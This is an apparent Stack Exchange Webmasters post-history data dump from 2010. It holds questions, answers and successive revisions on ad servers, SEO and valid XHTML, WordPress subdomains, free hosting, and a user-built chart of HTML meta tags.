  <row Id="12363" PostHistoryTypeId="2" PostId="6193" RevisionGUID="0323935c-a09f-4392-a4b6-98b5fdd0e880" CreationDate="2010-12-02T14:46:05.803" UserId="2466" Text="I am looking for a simple ad server (done in PHP, preferably).&#xD;&#xA;&#xD;&#xA;I used to use OpenAds, but now I see they've gone the way of commercial-behemoth.  Any suggestions for something else?&#xD;&#xA;&#xD;&#xA;This is for a fairly low-traffic site with a handful of ad positions.  We just need to be able to schedule local ads, and when a local ad isn't available, show Google Ads." />
  <row Id="12364" PostHistoryTypeId="1" PostId="6193" RevisionGUID="0323935c-a09f-4392-a4b6-98b5fdd0e880" CreationDate="2010-12-02T14:46:05.803" UserId="2466" Text="Looking for an open-source simple ad server" />
  <row Id="12365" PostHistoryTypeId="3" PostId="6193" RevisionGUID="0323935c-a09f-4392-a4b6-98b5fdd0e880" CreationDate="2010-12-02T14:46:05.803" UserId="2466" Text="&lt;advertising&gt;" />
  <row Id="12366" PostHistoryTypeId="2" PostId="6194" RevisionGUID="a683a96b-eb05-4f63-a437-661d38cfbaaa" CreationDate="2010-12-02T15:04:53.577" UserId="925" Text="HTML has a &lt;a href=&quot;http://en.wikipedia.org/wiki/Longdesc_attribute&quot;&gt;longdesc&lt;/a&gt; attribute that points to the URL of a 'long description'. Rather than lots of alt tags, why not use that?" />
  <row Id="12367" PostHistoryTypeId="10" PostId="6193" RevisionGUID="67685bc8-ca78-4026-a35d-cdc582b459eb" CreationDate="2010-12-02T15:05:32.440" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="12368" PostHistoryTypeId="5" PostId="6193" RevisionGUID="2197798b-3a0d-471a-a283-db1dff3048c9" CreationDate="2010-12-02T15:05:32.550" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What is a good, free ad server?](http://webmasters.stackexchange.com/questions/5444/what-is-a-good-free-ad-server)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I am looking for a simple ad server (done in PHP, preferably).&#xD;&#xA;&#xD;&#xA;I used to use OpenAds, but now I see they've gone the way of commercial-behemoth.  Any suggestions for something else?&#xD;&#xA;&#xD;&#xA;This is for a fairly low-traffic site with a handful of ad positions.  We just need to be able to schedule local ads, and when a local ad isn't available, show Google Ads." />
  <row Id="12369" PostHistoryTypeId="2" PostId="6196" RevisionGUID="6fe82fa1-6861-4659-bf81-b027b21ff610" CreationDate="2010-12-02T15:14:25.883" UserDisplayName="Justin Niessner" Text="If you want your XHTML to be properly parsed and &quot;well understood&quot; by the search engine crawler/indexer, then yes...it is important.&#xD;&#xA;&#xD;&#xA;The major search engines should be able to handle minor issues but those types of mistakes may or may not hurt your ranking depending on which search engine you're talking about." />
  <row Id="12370" PostHistoryTypeId="2" PostId="6197" RevisionGUID="5a83c5d2-6d08-46ea-bf3d-a7331600d3f4" CreationDate="2010-12-02T15:15:18.400" UserId="1529" Text="Some search engines will give you penalty points for mismatched doctypes, encodings, botched HTML, etc..." />
  <row Id="12371" PostHistoryTypeId="2" PostId="6198" RevisionGUID="1471cd72-d933-4aa1-8320-22f848210684" CreationDate="2010-12-02T15:17:41.003" UserId="3105" Text="Not only does it help the search engine &quot;understand&quot; your content, usually correct code is less obtrusive and therefore makes up less of the page.  At least with Google, your code to content ratio affects your score, so it's another vote for good clean (minimal) code." />
  <row Id="12372" PostHistoryTypeId="2" PostId="6195" RevisionGUID="c023fcbf-6dbd-4ea8-8201-6931013bff09" CreationDate="2010-12-02T15:12:55.027" UserDisplayName="Clean" Text="SEO seems to be a subject surrounded by both myths and varying opinions. Nevertheless, I would like to know if you have an opinion on how important it is to have semantically correct XHTML, that is, well-formed and valid XHTML, with regards to SEO." />
  <row Id="12373" PostHistoryTypeId="1" PostId="6195" RevisionGUID="c023fcbf-6dbd-4ea8-8201-6931013bff09" CreationDate="2010-12-02T15:12:55.027" UserDisplayName="Clean" Text="Is it important to have semantically correct HTML with regards to SEO?" />
  <row Id="12374" PostHistoryTypeId="3" PostId="6195" RevisionGUID="c023fcbf-6dbd-4ea8-8201-6931013bff09" CreationDate="2010-12-02T15:12:55.027" UserDisplayName="Clean" Text="&lt;xhtml&gt;&lt;seo&gt;" />
  <row Id="12375" PostHistoryTypeId="17" PostId="6195" RevisionGUID="f810f805-0fae-4bd5-bfa2-e90daffb4ef4" CreationDate="2010-12-02T15:20:35.830" UserId="-1" Comment="from http://stackoverflow.com/questions/4336461/is-it-important-to-have-semantically-correct-html-with-regards-to-seo" Text="" />
  <row Id="12376" PostHistoryTypeId="2" PostId="6199" RevisionGUID="191f0567-e898-4e51-a688-d7530c3f64ab" CreationDate="2010-12-02T15:22:33.403" UserId="3604" Text="You should try to write semantic and valid XHTML even without regards to SEO, as it helps to keep your code clean.&#xD;&#xA;&#xD;&#xA;As for search engines, Google uses very complex algorithms to rank your site, and validity &amp; semantic code will definitely be amongs them. Nobody except for Google can tell you exactly how much does it matter, but it will definitely help." />
  <row Id="12377" PostHistoryTypeId="2" PostId="6200" RevisionGUID="0391e9bb-d607-4185-9b3d-4ad5659fecb3" CreationDate="2010-12-02T15:25:21.120" UserId="1253" Text=" 1. Well formed (x)HTML means there's less of a chance that the crawlers will incorrectly parse your documents. Poorly written (x)HTML leaves the possibility open that the crawlers either cannot interpret, or misinterpret your page's content causing the page to not be indexed or to be indexed incorrectly (to your detriment).&#xD;&#xA; 2. The clues given by (x)HTML is a very large part of ranking algorithms. It's a big reason why flash isn't ever going to be as SE-friendly as(x)HTML. It simply lacks the ability to give strong clues to the search engines about the page's content (notice I didn't say Flash couldn't be crawled or indexed). If your code is sloppy you probably aren't giving the proper clues, or the best clues possible, to the search engines to help rank your pages.&#xD;&#xA; 3. Page speed matters. Poorly writtn (x)HTML means it will take longer for your pages to render. If your pages take too long you run the risk of having your pages penalized (you need to be in the bottom 1% for this to happen and poor (x)HTML won't do this on its own but when combined with other factors it certainly doesn't help you in this respect).&#xD;&#xA; 4. If your (x)HTML is properly written you can take advantage of microformats. But if you can't get your (x)HTML to format properly you certainly aren't going to get microformats to work for you." />
  <row Id="12378" PostHistoryTypeId="5" PostId="6200" RevisionGUID="29478550-70a3-4552-aab0-f0c7511a526e" CreationDate="2010-12-02T15:31:10.213" UserId="1253" Comment="added 92 characters in body; added 2 characters in body" Text=" 1. Well formed (x)HTML means there's less of a chance that the crawlers will incorrectly parse your documents. Poorly written (x)HTML leaves the possibility open that the crawlers either cannot interpret, or misinterpret your page's content causing the page to not be indexed or to be indexed incorrectly (to your detriment).&#xD;&#xA; 2. The clues given by (x)HTML is a very large part of ranking algorithms. It's a big reason why flash isn't ever going to be as SE-friendly as(x)HTML. It simply lacks the ability to give strong clues to the search engines about the page's content (notice I didn't say Flash couldn't be crawled or indexed). For example, `&lt;abbr title=&quot;International Business Machines &gt;IBM&lt;/abbr&gt;` tells the search engines that IBM is short for International Business Machines. This helps them associate the two. (Not coincidentally this is also good for users).&#xD;&#xA; 3. Page speed matters. Poorly writtn (x)HTML means it will take longer for your pages to render. If your pages take too long you run the risk of having your pages penalized (you need to be in the bottom 1% for this to happen and poor (x)HTML won't do this on its own but when combined with other factors it certainly doesn't help you in this respect).&#xD;&#xA; 4. If your (x)HTML is properly written you can take advantage of microformats. But if you can't get your (x)HTML to format properly you certainly aren't going to get microformats to work for you." />
  <row Id="12379" PostHistoryTypeId="2" PostId="6201" RevisionGUID="16181532-eba0-4360-a8ab-4d6075f32e59" CreationDate="2010-12-02T16:22:34.117" UserId="3598" Text="I have my site hosted at [http://blog.rgksugan.in][1]. &#xD;&#xA;I have set a subdomain in it for my blog.&#xD;&#xA;But after landing on this site whatever other links I click i get the link as&#xD;&#xA;[http://rgksugan.in/blog/wordpress/stack-overflow/][2].&#xD;&#xA;&#xD;&#xA;I want it to be http://blog.rgksugan.in/stack-overflow&#xD;&#xA;&#xD;&#xA;What should I do...?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.rgksugan.in&#xD;&#xA;  [2]: http://rgksugan.in/blog/wordpress/stack-overflow/" />
  <row Id="12380" PostHistoryTypeId="1" PostId="6201" RevisionGUID="16181532-eba0-4360-a8ab-4d6075f32e59" CreationDate="2010-12-02T16:22:34.117" UserId="3598" Text="How to set a subdomain?" />
  <row Id="12381" PostHistoryTypeId="3" PostId="6201" RevisionGUID="16181532-eba0-4360-a8ab-4d6075f32e59" CreationDate="2010-12-02T16:22:34.117" UserId="3598" Text="&lt;wordpress&gt;&lt;links&gt;&lt;subdomain&gt;" />
  <row Id="12388" PostHistoryTypeId="2" PostId="6204" RevisionGUID="391102b6-8858-4bf6-a5b6-8b645daec4d1" CreationDate="2010-12-02T16:40:46.050" UserDisplayName="Dillie-O" Text="You might check this [StackOverflow question][1] for a few suggestions. [This question][2] also provided a couple of options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1940657/free-net-shared-hosting&#xD;&#xA;  [2]: http://stackoverflow.com/questions/287449/any-free-asp-net-3-5-app-host" />
  <row Id="12389" PostHistoryTypeId="2" PostId="6203" RevisionGUID="fbc3edad-0d36-43d1-adc9-9abec7674372" CreationDate="2010-12-02T16:24:30.107" UserDisplayName="dotNET" Text="I'm looking for a free webhosting plan to test my website before buying someone.&#xD;&#xA;&#xD;&#xA;Sopport for : ASP.NET 3.5 &amp; MS Access 2003.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="12390" PostHistoryTypeId="1" PostId="6203" RevisionGUID="fbc3edad-0d36-43d1-adc9-9abec7674372" CreationDate="2010-12-02T16:24:30.107" UserDisplayName="dotNET" Text="Free ASP.NET &amp; MS Access support webhosting" />
  <row Id="12391" PostHistoryTypeId="3" PostId="6203" RevisionGUID="fbc3edad-0d36-43d1-adc9-9abec7674372" CreationDate="2010-12-02T16:24:30.107" UserDisplayName="dotNET" Text="&lt;web&gt;&lt;web-hosting&gt;&lt;asp.net&gt;" />
  <row Id="12392" PostHistoryTypeId="17" PostId="6203" RevisionGUID="a1a6fd39-2825-47e9-aea6-368a25224618" CreationDate="2010-12-02T16:44:14.690" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/9922/free-asp-net-ms-access-support-webhosting" Text="" />
  <row Id="12393" PostHistoryTypeId="5" PostId="6201" RevisionGUID="a0d204da-1075-46ed-b17c-6b584c5af9a8" CreationDate="2010-12-02T16:46:38.230" UserId="3598" Comment="deleted 2 characters in body; edited title" Text="I have my site hosted at [http://blog.rgksugan.in][1]. &#xD;&#xA;I have set a subdomain in it for my blog.&#xD;&#xA;But after landing on my blog whatever other links I click i get the link as&#xD;&#xA;[http://rgksugan.in/blog/wordpress/stack-overflow/][2].&#xD;&#xA;&#xD;&#xA;I want it to be http://blog.rgksugan.in/stack-overflow&#xD;&#xA;&#xD;&#xA;What should I do...?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.rgksugan.in&#xD;&#xA;  [2]: http://rgksugan.in/blog/wordpress/stack-overflow/" />
  <row Id="12394" PostHistoryTypeId="4" PostId="6201" RevisionGUID="a0d204da-1075-46ed-b17c-6b584c5af9a8" CreationDate="2010-12-02T16:46:38.230" UserId="3598" Comment="deleted 2 characters in body; edited title" Text="How to solve this problem with my subdomain?" />
  <row Id="12395" PostHistoryTypeId="5" PostId="6185" RevisionGUID="06f5d6c2-987a-4fce-8590-b23079c783dc" CreationDate="2010-12-02T17:06:48.607" UserId="3590" Comment="added 78 characters in body" Text="im trying to make a fresh, modern, up to date chart of meta tags, for all of us, with their purposes, their use and their effects on search/being found. I will add your comments into my list so this chart is a result of live discussion and up to date!&#xD;&#xA;Also, it would be tremmendously cool to invent your own meta, because i believe that we are the ones making the web, or aren't we?&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE   -   NECESSARY   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    meta &quot;description&quot; = P descriptive - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P to index, follow or not, ant to not skip default dmoz/yahoodir&#xD;&#xA;&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google&#xD;&#xA;    meta &quot;language&quot; = P tell what language is used N no G yes &#xD;&#xA;    meta &quot;author&quot; = P author of the page - N ? - G ?&#xD;&#xA;    meta &quot;publisher&quot; = ?&#xD;&#xA;    meta &quot;comments&quot; = ?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;    meta &quot;revisit-after&quot; = P when to revisit like  content=&quot;1 day&quot;&#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N ? - G ?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N ? - G ?&#xD;&#xA;&#xD;&#xA;    meta &quot;breadcrums&quot; = I  invented: it will track where you are, like a sitemap tree" />
  <row Id="12396" PostHistoryTypeId="6" PostId="6201" RevisionGUID="c267be33-b26e-473e-aed1-d3987104fe95" CreationDate="2010-12-02T17:11:28.773" UserId="3598" Comment="edited tags" Text="&lt;wordpress&gt;&lt;url&gt;&lt;links&gt;&lt;subdomain&gt;" />
  <row Id="12397" PostHistoryTypeId="5" PostId="6185" RevisionGUID="f7093da1-9153-42c0-90ff-d9fbb2d2ee9e" CreationDate="2010-12-02T17:11:49.293" UserId="3590" Comment="added 9 characters in body; added 153 characters in body; deleted 12 characters in body" Text="im trying to make a new, modern, up to date chart of meta tags, for all of us, with their purposes, their use and their good (or bad) effects on search engines/being found. I will add your comments into my list so this chart is a result of live discussion and up to date! Also, it would be creative to invent your own meta, because i believe that we are the ones making the web, or aren't we?&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE   -   NECESSARY   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    meta &quot;description&quot; = P descriptive - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P to index, follow or not, ant to not skip default dmoz/yahoodir&#xD;&#xA;&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google&#xD;&#xA;    meta &quot;language&quot; = P tell what language is used N no G yes &#xD;&#xA;    meta &quot;author&quot; = P author of the page - N ? - G ?&#xD;&#xA;    meta &quot;publisher&quot; = ?&#xD;&#xA;    meta &quot;comments&quot; = ?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;    meta &quot;revisit-after&quot; = P when to revisit like  content=&quot;1 day&quot;&#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N ? - G ?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N ? - G ?&#xD;&#xA;    meta &quot;audience&quot; = I, P filteres visitors &quot;+seniors, -children, -youth, +adult&quot;&#xD;&#xA;    meta &quot;age&quot;  = I, P filters visitors by age &quot;16-100&quot;&#xD;&#xA;&#xD;&#xA;    meta &quot;breadcrums&quot; = I  invented: it will track where you are, like a sitemap tree" />
  <row Id="12398" PostHistoryTypeId="5" PostId="6185" RevisionGUID="8d68b0ed-4217-4d68-be5c-b8ce2992a1df" CreationDate="2010-12-02T17:19:15.123" UserId="3590" Comment="added 175 characters in body; added 24 characters in body; deleted 81 characters in body; added 16 characters in body" Text="im trying to make a new, modern, up to date chart of meta tags, for all of us, with their purposes, their use and their good (or bad) effects on search engines/being found. I will add your comments into my list so this chart is a result of live discussion and up to date! Also, it would be creative to invent your own meta, because i believe that we are the ones making the web, or aren't we?&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE   -   NECESSARY   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    #### important&#xD;&#xA;    meta &quot;description&quot; = P descriptive - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P to index, follow or not, ant to not skip default dmoz/yahoodir&#xD;&#xA;&#xD;&#xA;    #### discussion&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google&#xD;&#xA;    meta &quot;language&quot; = P tell what language is used N no G yes &#xD;&#xA;    meta &quot;author&quot; = P author of the page - N ? - G ?&#xD;&#xA;    meta &quot;publisher&quot; = ?&#xD;&#xA;    meta &quot;comments&quot; = ?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;    meta &quot;revisit-after&quot; = P when to revisit like  content=&quot;1 day&quot;&#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N ? - G ?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N ? - G ?&#xD;&#xA;&#xD;&#xA;    #### invented&#xD;&#xA;    meta &quot;audience&quot; = P filteres visitors &quot;+seniors, -children, -youth, +adult&quot;&#xD;&#xA;    meta &quot;mood&quot; = P specifies textual mood: &quot;discussion, informative, &#xD;&#xA;                    sensual, fictional, scientific, romantic, therapeutic&quot;&#xD;&#xA;    meta &quot;breadcrums&quot; = P will track where you are, like a sitemap tree" />
  <row Id="12399" PostHistoryTypeId="5" PostId="6185" RevisionGUID="7541ffcf-1aff-4711-9fec-eaef9e65aeed" CreationDate="2010-12-02T17:27:18.113" UserId="3590" Comment="deleted 9 characters in body; added 75 characters in body" Text="im trying to make a new, modern, up to date chart of meta tags, for all of us, with their purposes, their use and their good (or bad) effects on search engines/being found. I will add your comments into my list so this chart is a result of live discussion and up to date! Also, it would be creative to invent your own meta, because i believe that we are the ones making the web, or aren't we?&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE   -   NECESSARY   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    #### important&#xD;&#xA;    meta &quot;title&quot; = P A consice summary, the teaser - N very - G extremely&#xD;&#xA;    meta &quot;description&quot; = P descriptive - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P if needed, to skip default dmoz/yahoodir - N no - G ?&#xD;&#xA;&#xD;&#xA;    #### discussion&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google&#xD;&#xA;    meta &quot;language&quot; = P tell what language is used N no G yes &#xD;&#xA;    meta &quot;author&quot; = P author of the page - N ? - G ?&#xD;&#xA;    meta &quot;publisher&quot; = ?&#xD;&#xA;    meta &quot;comments&quot; = ?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;    meta &quot;revisit-after&quot; = P when to revisit like  content=&quot;1 day&quot;&#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N ? - G ?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N ? - G ?&#xD;&#xA;&#xD;&#xA;    #### invented&#xD;&#xA;    meta &quot;audience&quot; = P filteres visitors &quot;+seniors, -children, -youth, +adult&quot;&#xD;&#xA;    meta &quot;mood&quot; = P specifies textual mood: &quot;discussion, informative, &#xD;&#xA;                    sensual, fictional, scientific, romantic, therapeutic&quot;&#xD;&#xA;    meta &quot;breadcrums&quot; = P will track where you are, like a sitemap tree" />
  <row Id="12400" PostHistoryTypeId="5" PostId="6185" RevisionGUID="06926f02-8302-4dcb-9879-70ed5bf53726" CreationDate="2010-12-02T17:33:21.450" UserId="3590" Comment="added 17 characters in body" Text="im trying to make a new, modern, up to date chart of meta tags, for all of us, with their purposes, their use and their good (or bad) effects on search engines/being found. I will add your comments into my list so this chart is a result of live discussion and up to date! Also, it would be creative to invent your own meta, because i believe that we are the ones making the web, or aren't we?&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE   -   NECESSARY   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    #### important&#xD;&#xA;    meta &quot;title&quot; = P A consice summary, the teaser - N very - G extremely&#xD;&#xA;    meta &quot;description&quot; = P descriptive - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P if needed, to skip default dmoz/yahoodir - N no - G ?&#xD;&#xA;&#xD;&#xA;    #### discussion&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google&#xD;&#xA;    meta &quot;language&quot; = P overrule guesswork by defining language - N no - G yes &#xD;&#xA;    meta &quot;author&quot; = P author of the page - N ? - G ?&#xD;&#xA;    meta &quot;publisher&quot; = ?&#xD;&#xA;    meta &quot;comments&quot; = ?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;    meta &quot;revisit-after&quot; = P when to revisit like  content=&quot;1 day&quot;&#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N ? - G ?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N ? - G ?&#xD;&#xA;&#xD;&#xA;    #### invented&#xD;&#xA;    meta &quot;audience&quot; = P filteres visitors &quot;+seniors, -children, -youth, +adult&quot;&#xD;&#xA;    meta &quot;mood&quot; = P specifies textual mood: &quot;discussion, informative, &#xD;&#xA;                    sensual, fictional, scientific, romantic, therapeutic&quot;&#xD;&#xA;    meta &quot;breadcrums&quot; = P will track where you are, like a sitemap tree" />
  <row Id="12401" PostHistoryTypeId="5" PostId="6185" RevisionGUID="ed61e2c8-8539-493c-8ebe-cd4d2097007f" CreationDate="2010-12-02T17:38:44.863" UserId="3590" Comment="added 211 characters in body; deleted 4 characters in body; added 4 characters in body" Text="im trying to make a new, modern, up to date chart of meta tags, for all of us, with their purposes, their use and their good (or bad) effects on search engines/being found. I will add your comments into my list so this chart is a result of live discussion and up to date! Also, it would be creative to invent your own meta, because i believe that we are the ones making the web, or aren't we?&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE   -   NECESSARY   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    #### important&#xD;&#xA;    meta &quot;title&quot; = P A consice summary, the teaser - N very - G extremely&#xD;&#xA;    meta &quot;description&quot; = P descriptive - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P if needed, to skip default dmoz/yahoodir - N no - G ?&#xD;&#xA;&#xD;&#xA;    #### new &amp; promising! Thanks for input (John, )&#xD;&#xA;    meta &quot;syndication-source&quot;  P = content berin url. syndication of news&#xD;&#xA;    meta &quot;original-source&quot; P = url of the site that broke the news, tot get credit&#xD;&#xA;&#xD;&#xA;    #### discussion (lowest will be deleted unless you say why not)&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google&#xD;&#xA;    meta &quot;language&quot; = P overrule guesswork by defining language - N no - G yes &#xD;&#xA;    meta &quot;author&quot; = P author of the page - N ? - G ?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N ? - G ?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N ? - G ?&#xD;&#xA;    meta &quot;revisit-after&quot; = P when to revisit like  content=&quot;1 day&quot;&#xD;&#xA;&#xD;&#xA;    #### invented&#xD;&#xA;    meta &quot;audience&quot; = P filteres visitors &quot;+seniors, -children, -youth, +adult&quot;&#xD;&#xA;    meta &quot;mood&quot; = P specifies textual mood: &quot;discussion, informative, &#xD;&#xA;                    sensual, fictional, scientific, romantic, therapeutic&quot;&#xD;&#xA;    meta &quot;breadcrums&quot; = P will track where you are, like a sitemap tree" />
  <row Id="12402" PostHistoryTypeId="5" PostId="6185" RevisionGUID="b229024b-7623-4fbc-a5be-6db38c159ca2" CreationDate="2010-12-02T17:46:55.000" UserId="3590" Comment="deleted 3 characters in body; added 12 characters in body; added 6 characters in body" Text="im trying to make a new, modern, up to date chart of meta tags, for all of us, with their purposes, their use and their good (or bad) effects on search engines/being found. I will add your comments into my list so this chart is a result of live discussion and up to date! Also, it would be creative to invent your own meta, because i believe that we are the ones making the web, or aren't we?&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE   -   NECESSARY   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    #### important&#xD;&#xA;    meta &quot;title&quot; = P consice summary + teaser - N very - G extremely&#xD;&#xA;    meta &quot;description&quot; = P description + teaser - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P if needed, to skip default dmoz/yahoodir listing - N no - G?&#xD;&#xA;&#xD;&#xA;    #### new &amp; promising! Thanks for input (John, )&#xD;&#xA;    meta &quot;syndication-source&quot;  P = url for syndication of published news - N? - G?&#xD;&#xA;    meta &quot;original-source&quot; P = url of whoever broke the news 2 get credit - N? - G?&#xD;&#xA;&#xD;&#xA;    #### discussion (lowest will be deleted unless you say why not)&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google&#xD;&#xA;    meta &quot;language&quot; = P overrule guesswork by defining language - N no - G yes &#xD;&#xA;    meta &quot;author&quot; = P author of the page - N? - G?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N? - G?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N? - G?&#xD;&#xA;    meta &quot;revisit-after&quot; = P when to revisit like  content=&quot;1 day&quot;&#xD;&#xA;&#xD;&#xA;    #### invented&#xD;&#xA;    meta &quot;audience&quot; = P filteres visitors &quot;+seniors, -children, -youth, +adult&quot;&#xD;&#xA;    meta &quot;mood&quot; = P specifies textual mood: &quot;discussion, informative, &#xD;&#xA;                    sensual, fictional, scientific, romantic, therapeutic&quot;&#xD;&#xA;    meta &quot;breadcrums&quot; = P will track where you are, like a sitemap tree" />
  <row Id="12403" PostHistoryTypeId="5" PostId="6163" RevisionGUID="7c6303ac-e487-45ff-9d2f-197dab0e5db9" CreationDate="2010-12-02T18:12:32.117" UserId="3590" Comment="deleted 706 characters in body" Text="One thing i forgot to write in my post, was to also take into consideration:  &#xD;&#xA;&#xD;&#xA;** the onclusion of a variety of top level domain extension, since it iwll be a multilingual website.** &#xD;&#xA;&#xD;&#xA; - yoursite.es (spanish version)  &#xD;&#xA; - yoursite.se (Swedisch version) &#xD;&#xA; - yoursite.de (German version)&#xD;&#xA; - yourside.in (Hindustani version)&#xD;&#xA; - yoursite.jp (Japanese version)&#xD;&#xA; - etc. all with the same semantic content, just in different langages&#xD;&#xA;&#xD;&#xA;&gt;&gt; Will seo penalise for pages in different languages, if they link to one and another?&#xD;&#xA;" />
  <row Id="12404" PostHistoryTypeId="5" PostId="6107" RevisionGUID="d1e5ca0d-0517-4027-ba69-15ec48ab7cd2" CreationDate="2010-12-02T18:14:16.767" UserId="3590" Comment="added 30 characters in body; edited tags" Text="1. **http://yoursite.com**&#xD;&#xA;&#xD;&#xA;2. **www.yoursite.com** &#xD;&#xA;&#xD;&#xA;3. **http://www.yoursite.com** &#xD;&#xA;&#xD;&#xA;4. **yoursite.com** &#xD;&#xA;&#xD;&#xA;Which of the two would you choose as the base url if you were to make a site for 2011 and beyond, which domainname would you give out to others? Others are clients, websites linking to you, your letterhead, contact cards. Why one OR other? Which to avoid?&#xD;&#xA;&#xD;&#xA;Thinking of the following aspects:&#xD;&#xA;&#xD;&#xA; - validity or functionality&#xD;&#xA; - url address as a brand&#xD;&#xA; - misspellings by users&#xD;&#xA; - easy to remember&#xD;&#xA; - length for easy user input (from contactcard)&#xD;&#xA; - method of peferance by social media sites&#xD;&#xA; - method of pereferance by major search engines&#xD;&#xA; - consistency sothat links dont fragment but all point to the same" />
  <row Id="12405" PostHistoryTypeId="6" PostId="6107" RevisionGUID="d1e5ca0d-0517-4027-ba69-15ec48ab7cd2" CreationDate="2010-12-02T18:14:16.767" UserId="3590" Comment="added 30 characters in body; edited tags" Text="&lt;url&gt;&lt;url-rewriting&gt;&lt;http&gt;&lt;user-input&gt;&lt;no-www&gt;" />
